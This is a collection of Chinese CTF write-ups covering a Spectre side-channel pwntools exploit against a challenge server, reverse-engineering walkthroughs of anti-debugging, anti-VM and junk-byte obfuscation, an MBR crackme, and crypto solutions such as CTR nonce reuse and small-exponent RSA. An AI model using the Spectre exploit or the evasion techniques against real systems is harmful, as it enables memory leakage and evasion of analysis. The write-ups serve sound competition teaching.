其实如果懂了Spectre漏洞原理的话,这个题目是相当简单的,因为所有的攻击模块都通过功能菜单直接提供了,选手只需要以正确的顺序串起来,然后将评分机制在自己的exp中实现就行了,完全可以对照着论文POC写。
exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69from pwn import *
io = remote('192.168.152.131', 4444)
def setMaliciousX(malicious_x):
io.recvuntil('your operation: ')
io.sendline(str(1))
io.sendline(str(malicious_x))
def setTrainingX(training_x):
io.recvuntil('your operation: ')
io.sendline(str(2))
io.sendline(str(training_x))
def flush_operation():
io.recvuntil('your operation: ')
io.sendline(str(3))
def train_operation():
io.recvuntil('your operation: ')
io.sendline(str(4))
def measure_time():
io.recvuntil('your operation: ')
io.sendline(str(5))
def clear_result(result):
for i in range(256):
result[i] = 0
threshold = 130 #时间阈值根据不同性能的机器灵活调整
flag_addr = 0x6020e0
array1_addr = 0x602040
flag_length = 43
array1_size = 16
array1 = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
offset = flag_addr - array1_addr
result = [0 for i in range(256)]
flag = ''
for i in range(flag_length):
setMaliciousX(offset + i)
for tries in range(999, -1, -1):
flush_operation()
train_x = tries % array1_size
setTrainingX(train_x)
train_operation()
measure_time()
for j in range(256):
io.recvuntil('Index ')
index = int(io.recvuntil(' consumes ')[:-10])
if index in range(0, 0x20):
continue
cputime = int(io.recvuntil(' CPU')[:-4])
if cputime <= threshold and index != array1[tries % array1_size]:
result[index] += 1
firstmax = max(result)
firstmax_i = result.index(firstmax)
result[firstmax_i] = 0
secondmax = max(result)
secondmax_i = result.index(secondmax)
result[firstmax_i] = firstmax
if (firstmax >= 2 * secondmax + 5) or (firstmax == 2 and secondmax == 0):
break
print 'The character in ' + hex(flag_addr + i) + ' is ' + hex(firstmax_i) + '<' + chr(firstmax_i) + '>. Second best is ' + hex(secondmax_i) + '<' + chr(secondmax_i) + '>'
flag += chr(firstmax_i)
clear_result(result)
print 'Flag is ' + flag
效果图如下:
ACTFnote
1 | from pwn import * |
Reverse
anti全家桶
考点
反虚拟机、反调试、花指令
预备知识
花指令1:插入一字节花机器码,比如E8
或80
,扰乱IDA线性解析,使IDA不能正常识别出函数。但实际执行会跳过该机器码,使得实际执行不会出错。
花指令2:依然是扰乱IDA线性解析,不过是插入形如add esp, xx
的花指令,IDA发现栈不平衡,故不能正常识别出函数。同样实际执行会跳过该花指令。
反调试1:若程序处于调试状态中,ptrace(PTRACE_TRACEME, 0, 0, 0)
的返回值是-1,因此若能有个if
判断,判断返回值为-1时程序退出,即可起到反调试的效果。
反调试2:定时器。Linux中有个alarm
函数,参数是秒数,当经过了参数那么多秒数的时候,会发出SIGALARM
信号,如果再写一个信号处理函数,监听SIGALARM
信号,一旦捕捉到该信号就退出程序,也可以加大调试的难度。
反虚拟机1:选手大多是在虚拟机下调试ELF程序,因此若能检测出虚拟机环境,也可起到反调试类似的效果。最基础的方式是检查网卡的MAC
地址,一般VMware
和Virtualbox
都有固定的几个MAC
地址前缀,匹配这些特征前缀即可检测出虚拟机环境。
反虚拟机2:汇编指令rdtscp
可以精确测量一段指令的执行时间,可以精确到CPU的时钟周期,一般执行同样一段指令,在虚拟机里执行普遍要的时钟周期数要长一些,通过它也可以判断是否处于虚拟机环境中。
解题过程
在预备知识小节提到的反逆向技术,这题都用上了。而且如果选手不能以合适的方式去除反调试,即使你输入的flag是正确的,程序也说你的flag是错的。
首先拖到IDA里面去,定位到main函数,发现不能F5。仔细观察左侧的地址是标红的,说明IDA无法将其识别成一个函数。然后往后稍微拖动一点,会发现IDA对一个call
指令的识别有问题,call
的地址无效,然后发现前面有一个必然成立的跳转,跳转到0x40125E+1
处的位置
这个就是花指令1和花指令2的结合体,add rsp, 4
以及这个call
指令的第一个字节E8
都是花指令,直接将0x40125A
到0x40125E
处的5个字节改为机器码90
(即汇编指令nop
,常用于填充)即可
最后将修改的部分一直到函数末尾一起括起来按C键重新分析,之后将光标点到函数头处按P建立函数,即可按F5进行反编译了
最开始的ptrace
函数是反调试,直接用90
去掉即可。纵观主函数,发现程序将输入的字符分成了4等份,每等份4个字符,前两等份会进入loc_400CEE
进行处理,后两等份会进入sub_400F46
处理,处理完后,每等份的4个字符会变成6个,会跟0x6021E0
处的一个二进制串进行异或,最后与0x6021C0
处的对比串进行比较,如果比对成功则输入正确。loc_400CEE
处本应是一个函数,但是没被IDA识别出来,可通过前述类似的方法解决,不再赘述
将0x400CEE
处的函数反编译后,发现算法实际上就是一个类似于base64的东西,只是base64是3变4,这里是4变6,且提供的table
不一样
不过需要关注的是sub_400979
这个函数,打开一看,仔细分析,发现是求本机网卡的MAC
地址,当MAC
前缀是00-05-69
或00-0C-29
或00-50-56
时,会将一些位置的数字进行替换,否则将0x6021E9
处的值改成2F
。这其实就是反虚拟机1,那些MAC
地址就是特征MAC
前面说了从0x6021E0
开始的24个字节都是最后拿来异或用的,任何对这段串的改变都会影响最后的结果。事实上,最开始这个异或的串的某些位置的值本身就是错误的,如果过了这个反虚拟机检测,将会把它改正确,否则反而会把本来正确的值将其改错,这样最后的异或肯定就不对,达到反虚拟机的效果。
有些选手在意识到这个函数是个反逆向的无用指令后,不仔细分析功能就直接用90
填充掉了。但是异或的串本来就有几位是错的,如果直接nop
掉,最后异或的结果还是错的,这就要求选手仔细分析该函数是如何反逆向的,从而以合适的方式去掉它。
既然知道只要将0x6021E9
处的值改成2F
就行了,那就可以只保留这一部分,其他的部分nop
掉即可。
400CEE
分析完了,再分析sub_400F46
。这个函数虽然识别出来了,但是识别出来的有错误,或者说没识别完整,见下图所示
还是一样的花指令手法,但是被IDA识别成了两个函数,不能被IDA蒙蔽了,需要删除sub_4010D0
这个假函数,填充花指令后重新分析。经过处理后发现就是一个简单的查表替换。这里有400C84
和400C9F
两个反虚拟机,采用的是预备知识部分讲的反虚拟机2的手法。如果执行xchg eax, ebx
的时钟周期大于0x16
,则说明大概率处于虚拟机环境,此时会跳过对异或串的赋值。所以若要得到正确的异或串,对异或串的这个赋值不能跳过,只要把相应的跳转nop
掉就行了。
最后,这里还存在定时器,不过很隐蔽,从主函数这条线分析是分析不出来的,但是你调试的时候会发现定时就退出了。这个只要去搜一下Imports导入表的alarm
函数,交叉引用到调用它的地方(sub_400CCE
),nop
掉call alarm
即可。
解题脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46s_box = [0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16]
liangzi = [0x54,0x56,0x4f,0x77,0x34,0x2f,0x40,0x10,0x69,0x2f,0x08,0x74,0x18,0xfc,0xc5,0x72,0xac,0x09,0xcd,0xc0,0x37,0xf3,0x4d,0xd1]
enc_flag = ['1','0','v','3','_','Y','0','v','_','n','n','0','r','3','_','7','h','a','n','_','3','0','0','0']
table = ['1','2','3','4','5','6','7','8','9','0','q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m','Q','W','E','R','T','Y','U','I','O','P','A','S','D','F','G','H','J','K','L','Z','X','C','V','B','N','M','+','=']
for i in range(24):
enc_flag[i] = chr(ord(enc_flag[i]) ^ liangzi[i])
A_char = []
B_char = []
C_char = []
D_char = []
for i in range(6):
A_char.append(enc_flag[i])
B_char.append(enc_flag[i+6])
C_char.append(enc_flag[i+12])
D_char.append(enc_flag[i+18])
def dechange1(arr):
temp = [0, 0, 0, 0, 0, 0]
flag = ['\x00', '\x00', '\x00', '\x00']
for i in range(len(table)):
for j in range(6):
if arr[j] == table[i]:
temp[j] = i
flag[0] = chr(((temp[0] << 2) + (temp[1] >> 4)) & 0xff)
flag[1] = chr((((temp[1] & 0xf) << 4) + (temp[2] >> 2)) & 0xff)
flag[2] = chr((((temp[2] & 3) << 6) + temp[3]) & 0xff)
flag[3] = chr(((temp[4] << 2) + (temp[5] >> 4)) & 0xff)
return flag
def dechange2(arr):
flag = ['\x00', '\x00', '\x00', '\x00']
for i in range(16):
for j in range(16):
for k in range(4):
if s_box[16 * i + j] == ord(arr[k]):
flag[k] = chr(((i << 4) + j) & 0xff)
return flag
flag0 = dechange1(A_char)
flag1 = dechange1(B_char)
flag2 = dechange2(C_char)
flag3 = dechange2(D_char)
flag = flag0 + flag1 + flag2 + flag3
print 'Flag is aurora{' + ''.join(flag) + '}'
二进制
考点
MBR常识、MBR调试方法、重要的16位汇编中断调用、16位汇编阅读能力
预备知识
(1)计算机启动过程(参考自《x86汇编——从实模式到保护模式》)
在众多的处理器引脚中,有一个引脚叫RESET
,当这个引脚接受一个由低电平到高电平的脉冲信号时,代码段寄存器CS
置为全高电平,即0xFFFF
,指令指针寄存器IP
置为全低电平,即0x0000
,如果你学过数电中的时序逻辑电路的话,应该能很好地理解上面的过程。当你按开机键时就会给RESET
一个脉冲,早期的一些电脑还有一个RESET
键,为了保证死机的时候可以强制重启,实际上也是触发RESET
信号。
我们知道,内存在断电后信息都会消失,因此我们不可能刚加电就去读内存地址,因此需要先读只读存储器
,只读存储器的信息是一出厂就刻录好的,除了部分比特位可以通过电擦除改变值以外,大部分信息是不可改变的,但优点在于只读存储器的信息不需要电来维持。计算机刚启动时处理器处于实模式状态,实模式需要通过段地址加偏移地址来寻址,段地址左移4位加偏移地址就得到线性地址,最大寻址空间为1M,而1M地址中的最高64KB区域被分配给了只读存储器,因此FFFF:0000
访问到的是只读存储器区域。
FFFF:0000
的线性地址是FFFF0
,仅有16字节的空间可写了,所以这个地方通常是一个jmp
指令,跳转到其他地方去执行。
这个只读存储器就是BIOS
,它的功能主要是诊断、检测和初始化,中间到底做了什么事并不关键,关键在于BIOS
做的最后一件事。如果选择的是硬盘启动,那么BIOS
会读取硬盘中的0柱面0磁头1扇区的512字节内容加载进内存地址0000:7C00
处,加载完成后,通过一个远跳转指令jmp 0x0000:0x7c00
跳转到这个地址,执行BIOS
加载的内容,此时BIOS
的使命结束。0柱面0磁头1扇区的内容就是主引导记录,即MBR
(2)MBR的特点
- MBR是1个扇区的内容,故MBR大小为512字节;
- 一个有效的MBR,最末两字节必须是
55 AA
; - MBR加载的内存地址是
0x0000:0x7C00
; - MBR通常是由操作系统负责的,但如果我们有一个虚拟机,能模拟一个硬盘,在该虚拟硬盘的0柱面0磁头1扇区处填写一个扇区的指令,那么这段指令必然会执行。这种特性通常用于MBR和实模式程序的调试。
(3)MBR调试方法
关于MBR的调试,通常需要用虚拟机,而且还要有调试功能。一般选择boch
或qemu
,这里我主要介绍qemu
。
首先通过apt
或rpm
安装qemu-system
,它会安装各种架构的虚拟机,比如arm
,mips
等。我们选择qemu-system-i386
即可。
输入1
qemu-system-i386 -drive format=raw,file=binary.bin
即可运行MBR程序,binary.bin
是要运行的MBR文件。若需要调试,还需要加-s
参数。此时会运行一个gdb server
在1234端口,这时候可以打开gdb
输入以下命令1
2
3
4
5
6
7
8(gdb) set architecture i8086
warning: A handler for the OS ABI "GNU/Linux" is not built into this configuration
of GDB. Attempting to continue with the default i8086 settings.
The target architecture is assumed to be i8086
(gdb) set disassembly-flavor intel
(gdb) target remote:1234
Remote debugging using :1234
再下断点即可调试了。由于是运行了一个gdb server
,因此也可以用IDA的Remote GDB Server
进行远程调试,只要输入对应的IP和端口1234就可以了。
(4)重要的16位汇编中断调用
- 字符串输出
当使用中断调用号int 10h
,且设置功能号AH = 13h
时,可在实模式下输出指定内存地址的字符串,并可设置光标位置、输出属性等。1
2
3
4
5
6
7
8
9
10BH=页码
BL=属性(若AL=00H或 01H)
CX=显示字符串长度
(DH、DL)=坐标(行、列)
ES:BP=显示字符串的地址
AL=显示输出方式
0——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
2——字符串中含显示字符和显示属性。显示后,光标位置不变
3——字符串中含显示字符和显示属性。显示后,光标位置改变
例如下面的代码1
2
3
4
5
6
7mov ax, 1300h
mov bh, 0
mov bl, ds:4400h
mov cx, 11h
mov dx, 90Ch
mov bp, 7D31h
int 10h
可以看出,要输出的字符串在es:7D31h
处,长度为0x11
字节,输出的坐标在0x9
行0xc
列,属性信息存在ds:4400h
处。
- 字符输入
字符输入通常使用键盘I/O中断调用,即int 16h
,设置功能号AH = 0
表示监听键盘输入,一旦有键盘敲击,则会将敲击的字符对应的ASCII码存入AL
寄存器中,典型的应用如同1
2xor ah, ah
int 16h
- 延时
当中断调用号int 15h
,且功能号AH = 86h
时,CX:DX
存放的是延时,单位微秒,例如1
2
3
4mov cx, 1
xor dx, dx
mov ah, 86h
int 15h
表示延时10000h微秒,即65536微秒,即65.536毫秒
解题过程
首先拿到文件,拖进IDA发现不能被识别为可执行格式,用Winhex
打开发现是一个512字节纯二进制文件,因此第一步就是要搞清楚这是一个什么东西。如果你有经验的话,发现它是512字节,且最末两字节是55 AA
,就可以反应过来是MBR;如果没经验,可以用Linux中的file
工具识别一下,也可以识别出是MBR。因为处理器在执行MBR时处于实模式,所以需要用16位汇编的格式去解析它,还有就是基址是0x0000:0x7c00
。拖到IDA里面,先设置基址的偏移为0x7c00
点击OK
后,要选择16位模式,所以要点No
,进入IDA后,光标点在最开头的位置按下P键建立函数,即可按空格键来回从文本模式到控制流图模式进行切换
当你了解了预备知识的那些内容后,剩下的就是看选手的16位汇编阅读能力了,可以通过动态调试,慢慢观察值的变化。
程序的逻辑是,首先有一个映射关系,分别由table1
和table1_
两个表来存储,位置一一对应。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19table1 table1_
31 -> fc09
7a -> 9611
3f -> cc89
2b -> 0051
18 -> 07bd
27 -> d92d
38 -> a121
64 -> 2991
67 -> 86ad
7b -> b7ca
56 -> 166c
1d -> 4983
79 -> adeb
2f -> e5f6
0f -> ff0a
66 -> a05e
57 -> 7716
2d -> 5ac6
然后存有一个加密flag串encflag
,存的数据全部是table1_
集合里面的值,程序首先依据映射关系将encflag
替换为encflag_sub
,最后将encflag_sub
与加密后的输入字符串进行比较。
输入字符串存储在地址0x4321中,对于输入字符串的加密方式非常简单,就是单个字符先异或0x59,再加4,再异或0x17,就完成了加密。
程序源码及注释如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141[bits 16]
mov ax, 13h
int 10h ;设置显示模式为640*480 256色
mov eax, cr0
and ax, 0fffbh
or ax, 2
mov cr0, eax ;关闭保护模式,打开协处理器监控位MP,使得任务切换时WAIT指令会产生异常
mov bx, 0
L1:
mov byte [bx + 4321h], '_'
inc bx
cmp bx, 25
jle L1 ;在0x4321位置处加载25个下划线
mov byte [7c00h + iter], 0
DISPLAY:
mov cx, 1
xor dx, dx
mov ah, 86h
int 15h ;延迟65.536毫秒
add byte [4400h], 10h
mov ax, 1300h
mov bh, 0
mov bl, byte [4400h]
mov cx, 17
mov dx, 90ch
mov bp, 7c00h + string
int 10h ;输出变量string内容,长度17
mov ax, 1300h
mov bx, 0fh
mov cx, 25
mov dx, 0c08h
mov bp, 4321h
int 10h ;输出地址4321h处的字符串
cmp byte [7c00h + iter], 24
jle INPUTFLAG ;输入字符,最大长度25
; ======= 核心算法 =======
xor bx, bx
L2:
shl bx, 1
mov si, [7c00h + encflag + bx]
shr bx, 1 ;取出encflag[i]
xor bp, bp
L3:
shl bp, 1
mov di, [7c00h + table1_ + bp]
shr bp, 1 ;取出table1_[i]
cmp si, di ;比对encflag[i]与table1_[i]的值
je L4 ;如果相同,跳入L4
inc bp ;否则i++,继续搜寻
cmp bp, 18
jl L3
L4:
mov dl, [7c00h + table1 + bp] ;bp存放着索引值i
mov [7c00h + encflag_sub + bx], dl ;取出table1[i]到encflag_sub中
inc bx
cmp bx, 25
jl L2
xor bx, bx
L5:
mov dl, [4321h + bx] ;取出输入字符input[j]
xor dl, 0x59 ;将该字符异或0x59
add dl, 4 ;再将该字符加4
xor dl, 0x17 ;再将该字符异或0x17
mov dh, [7c00h + encflag_sub + bx] ;取出encflag_sub[j]
cmp dh, dl ;将input[j]与encflag_sub[j]比较
jne WRONG ;如果不同,则flag错误,直接结束
inc bx ;否则j++,继续比对
cmp bx, 25
jl L5
jmp RIGHT ;所有字符都比对成功时,flag正确
; ====== 核心算法结束 ======
INPUTFLAG:
mov ah, 1
int 16h ;检查键盘缓冲区是否空了
jz DISPLAY
xor ah, ah
int 16h ;监听键盘输入字符
cmp al, 8 ;ASCII码为8表示退格键,做退格处理
jz BACKSPACE
cmp al, 0dh ;ASCII码为13表示回车,不记录进内存
jz DISPLAY
mov bx, 4321h ;除了以上两个字符,其余字符记录进首地址0x4321处
mov cl, [7c00h + iter]
add bx, cx
mov [bx], al
inc byte [7c00h + iter]
jmp DISPLAY
OUTPUTRESULT: ;输出验证结果,会有一个动画效果
xor bh, bh
mov bl, [7c00h + iteroutput]
cmp bx, 17
jge DISPLAY
mov cl, [bx + di]
mov [bx + string + 7c00h], cl
inc byte [7c00h + iteroutput]
mov dword [bx + 1 + string + 7c00h], '>== '
jmp DISPLAY
BACKSPACE: ;退格键的处理
cmp byte [7c00h + iter], 1
jl DISPLAY
mov ax, 4321h
dec byte [7c00h + iter]
mov bl, [7c00h + iter]
add bx, ax
mov byte [bx], '_'
jmp DISPLAY
WRONG: ;flag错误的输出
mov byte [4400h], 4
mov di, 7c00h + wrongflag
jmp OUTPUTRESULT
RIGHT: ;flag正确的输出
mov byte [4400h], 0ah
mov di, 7c00h + rightflag
jmp OUTPUTRESULT
align 10h
iter db 0
string db 'please input flag', 0
wrongflag db '##You are WRONG##', 0
rightflag db '##You are RIGHT##', 0
iteroutput db 0
align 10h
encflag dw 0x0051, 0xd92d, 0xa121, 0x5ac6, 0xa121, 0x0051, 0xfc09, 0x07bd, 0x7716, 0xa05e, 0xb7ca, 0x4983, 0xe5f6, 0x9611, 0x166c, 0xadeb, 0x4983, 0x0051, 0x86ad, 0xe5f6, 0x4983, 0xff0a, 0x2991, 0xa121, 0xcc89
table1 db 0x31, 0x7a, 0x3f, 0x2b, 0x18, 0x27, 0x38, 0x64, 0x67, 0x7b, 0x56, 0x1d, 0x79, 0x2f, 0x0f, 0x66, 0x57, 0x2d
table1_ dw 0xfc09, 0x9611, 0xcc89, 0x0051, 0x07bd, 0xd92d, 0xa121, 0x2991, 0x86ad, 0xb7ca, 0x166c, 0x4983, 0xadeb, 0xe5f6, 0xff0a, 0xa05e, 0x7716, 0x5ac6
align 10h
encflag_sub:
times 510-($-$$) db 0
db 0x55, 0xaa
whitegive
题如其名,白给。 三层smc,放在Linux系统下使用IDA的远程动态调试跟进最后来到:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80signed __int64 sub_400697()
{
int i; // [rsp+Ch] [rbp-34h]
char v2; // [rsp+10h] [rbp-30h]
char v3; // [rsp+11h] [rbp-2Fh]
char v4; // [rsp+12h] [rbp-2Eh]
char v5; // [rsp+13h] [rbp-2Dh]
char v6; // [rsp+14h] [rbp-2Ch]
char v7; // [rsp+15h] [rbp-2Bh]
char v8; // [rsp+16h] [rbp-2Ah]
char v9; // [rsp+17h] [rbp-29h]
char v10; // [rsp+18h] [rbp-28h]
char v11; // [rsp+19h] [rbp-27h]
char v12; // [rsp+1Ah] [rbp-26h]
char v13; // [rsp+1Bh] [rbp-25h]
char v14; // [rsp+1Ch] [rbp-24h]
char v15; // [rsp+1Dh] [rbp-23h]
char v16; // [rsp+1Eh] [rbp-22h]
char v17; // [rsp+1Fh] [rbp-21h]
char v18; // [rsp+20h] [rbp-20h]
char v19; // [rsp+21h] [rbp-1Fh]
char v20; // [rsp+22h] [rbp-1Eh]
char v21; // [rsp+23h] [rbp-1Dh]
char v22; // [rsp+24h] [rbp-1Ch]
char v23; // [rsp+25h] [rbp-1Bh]
char v24; // [rsp+26h] [rbp-1Ah]
char v25; // [rsp+27h] [rbp-19h]
char v26; // [rsp+28h] [rbp-18h]
char v27; // [rsp+29h] [rbp-17h]
char v28; // [rsp+2Ah] [rbp-16h]
char v29; // [rsp+2Bh] [rbp-15h]
char v30; // [rsp+2Ch] [rbp-14h]
char v31; // [rsp+2Dh] [rbp-13h]
char v32; // [rsp+2Eh] [rbp-12h]
char v33; // [rsp+2Fh] [rbp-11h]
char v34; // [rsp+30h] [rbp-10h]
unsigned __int64 v35; // [rsp+38h] [rbp-8h]
v35 = __readfsqword(0x28u);
v2 = 2;
v3 = 22;
v4 = 17;
v5 = 12;
v6 = 17;
v7 = 2;
v8 = 24;
v9 = 8;
v10 = 6;
v11 = 6;
v12 = 19;
v13 = 60;
v14 = 0;
v15 = 87;
v16 = 82;
v17 = 14;
v18 = 60;
v19 = 87;
v20 = 45;
v21 = 7;
v22 = 60;
v23 = 86;
v24 = 22;
v25 = 1;
v26 = 14;
v27 = 10;
v28 = 84;
v29 = 60;
v30 = 37;
v31 = 82;
v32 = 87;
v33 = 90;
v34 = 30;
for ( i = 0; byte_601080[i]; ++i )
{
byte_601080[i] ^= 0x63u;
if ( byte_601080[i] != *(&v2 + i) )
return 0LL;
}
return 1LL;
}
可以知道解题只用逐位异或0x63就行了。
flag: aurora{keep_c41m_4Nd_5ubmi7_F149}
要啥三轮车
题目算法模仿的enigma的三轮加密,实现得很辣鸡导致ida分析出的最开始的c代码是很难看的一坨,会预期之外地降低选手的游戏体验,所以在程序开始运行时打印了三轮置换表并且保留了符号表。
输入的字符串去掉前六位和{}
后全部转为小写:
1 | __isoc99_scanf("%s", v175); |
每个字符先进行第一轮置换后的结果作为第二轮的输入再次置换,结果再作为第三轮的输入第三次置换得出最后的加密结果。
1 | for ( m = 0; m <= 25; ++m )//第一轮 |
每输入一个字符第一轮置换表都会转动一位,每输入6个字符第二轮置换表都会转动一位,每输入36个字符第三轮置换表转动一位(结果只有18个字符)。
解题的话第一种方法是获取加密后的三轮置换表的状态,根据置换表从最后一位开始往前推算正确的flag,同时置换表反向转动;另一种方法则是爆破,因为加密是逐个进行的,flag范围也只有26个字母,最后又给出了正确flag的加密结果,完全可以逐位进行爆破,相比第一种方法而言较为省事。由于出题人的解题脚本是直接拿源码改的爆破,丑的一批,所以这里放出DDHV1ol3t 选手的解题脚本,有需要的同学可以作为学习的参考:
1 | encstr = 'xvqxcnrankcowyxre' |
flag: aurora{notahardcoreenigma}
vm
体力活,unk_602160
开始直到602233
处的数据是opcode,对照opcode进入调试一步步整理出相应的指令。调试过程中可以推测出v36
应该为vm的ip
指针,对应opcode的数组下标index
;v37
应该是此vm的sp
指针,数组v46
则是vm模拟的栈, v34
数组存放局部变量。整理opcode如下:
1 | //index:0,1,2,3 |
可知对输入的操作为input[i] = input[i]^0xb3+6
,写脚本可解。
flag:aurora{dont_kick_my_ass_QaQ}
SimpleCheck
将apk文件拖进jeb,查看MainActivity:
主要逻辑是接收用户输入,用check函数对输入进行判断,为真则输出”You’re right!”,为假则输出”You’re wrong!”.
跟进check函数:
主要逻辑:对输入的字符串长度和格式进行判断,长度需为24,格式为aurora{…},截取flag大括号中的内容,进行三次运算后与str1数组进行对比,直接写爆破脚本:
得到flag为:aurora{It’s_s0_easy.-}
sse
用IDA打开,找关键字符串,交叉引用,找到关键代码:
代码逻辑:首先判断flag的格式,然后将aurora{XXX}大括号中的内容进行加密,加密后的结果与一串字符串比对,相同则输入正确。
跟进sub_401170函数:
明显看出是AES加密,对比加密过程,发现没有修改,找到密文和密钥直接上代码解密就OK。
动态调式可以直接看到清楚的C++逻辑,基本就是源码啦!
密文:
密钥:
最终得到flag为aurora{gotolearnsseset!}
Crypto
naive_PRNG0
连种子都没换过的rand(),所以无论运行多少遍结果都是一样的。记下第一个随机数,重新nc就过关了。
naive_PRNG1
要使用CSPRNG呀,梅森旋转生成不是呀。
exp暂时鸽了。
Environment
AES-CTR with nonce reuse.
问题出现的问题在aes = AES.new(key, AES.MODE_CTR, counter=Counter.new(128))
的Counter.new(128)
。Crypto库的Counter是从0开始计数的。
所以问题就变成一个two-times-pad。
纵观以前的密码战,除了分析之外,工作量也是极为必要的。出于这个原因,我留下了剩余的工作量,但是没有把首字母换掉(不至于太缺德)。
顺便介绍一个python里解决mtp很好的包,1
2$ pip install mtp
$ mtp cipher
运行效果:
naive_RSA0
e=3而且没有padding,这里特意把q、p设置得很大这样明文里的字符也可以更多。
exp如下,请用sage运行:1
2
3
4
5
6
7
8
9
10
11from Crypto.Util.number import bytes_to_long, long_to_bytes
n = 944596184878910952264918828296871870994376550458945115258394945073107584173702035979973230660738361172630327621960496272454672732496422999339318188654471910204601330968390297103022738364727453337362198385251002236960101361661918040202036165339768333589056299376897058446389955288838710764178850224984753171552902646225195393795307799225080145564416518846048866414832903230025434101126213440635358354082571921482391685745196953112907788290024449151917565638975172221794083323226310103637529156335586642493986830583679585356467031606826827617520244699586917709280762416539492052960415875646461061269787826714805415719407221087523366347429333359466431951024125697105154441837446345192967298375846760211673136238685670211601498001633401811874044739557854971459770000139308371923735847079684245824356397244021681401775864249234917997277489502084003352067737512704561828201328136271068595038644102118722181194583347195668067691251053156220840731855978538205474623004325770244550226446024576598163764100913061480432121098722621268264322142727933890359031944994515107982197143613130852528978999516503811882849247180413723888824177891793657425942877252813443777922029275037093577669463729857468663658489607472053947326441347663621496156430849523996631737308378819965464124022271648488670669731106892874845122219171857492966317500709601623125149582459270404072727833367221848174325753417252797977803030663910071000796065921485761373667371881974231117477486326293345034509280337329047492102332373702712930729847860908590140794394632881909406664589754236514946602386985031822790567779817767019958733916063119461518028124370795047368353084536075775490812963807687102200929357009366333899423531761526876744777870474557826455433702707417271531300381976447015421648948070517562896827512141969785080788524266986421079341505034297071816437366004796821184678981587004159684554932368186347162273669162187460727526773012212684766172397948227142470918702258745950888367048702980907081253832252716151478583409465289751306792946525476362073790584748769901990112669651234570224592274776406113846028439177811364161864432548532595676882578421605785138198330175308016530275943081455043217677343220943801192914551421746043508948550034056364914497144799658963343027337311650776739829707498952269704646163521188348922635016117695339877218590073847253055931147657012328054539970661943972262728438050114088791918421154537588547802858806161521544516620844416104046169437332233466602499701081666671571
s = open("cipher", "rb").read()
s = Integer(bytes_to_long(s))
for i in range(0, 1500):
try:
print(long_to_bytes(long((n*i + s).nth_root(3))))
except:
pass
naive_SPN
分析加密过程:异或->s盒代换->置换->s盒代换。
那么对密文进行:s盒逆变换->逆置换->s盒逆变换,就会和明文只差一个与密钥异或的过程。
这也就是为什么如果没有最后的异或,最后一轮加密化的原因。
所以要做的就是取一组明文密文,通过上述过程获得密钥,然后用密钥解密密文。
exp被出题人弄丢了,,,等复赛结束后写一下。
Oracle_Lab0
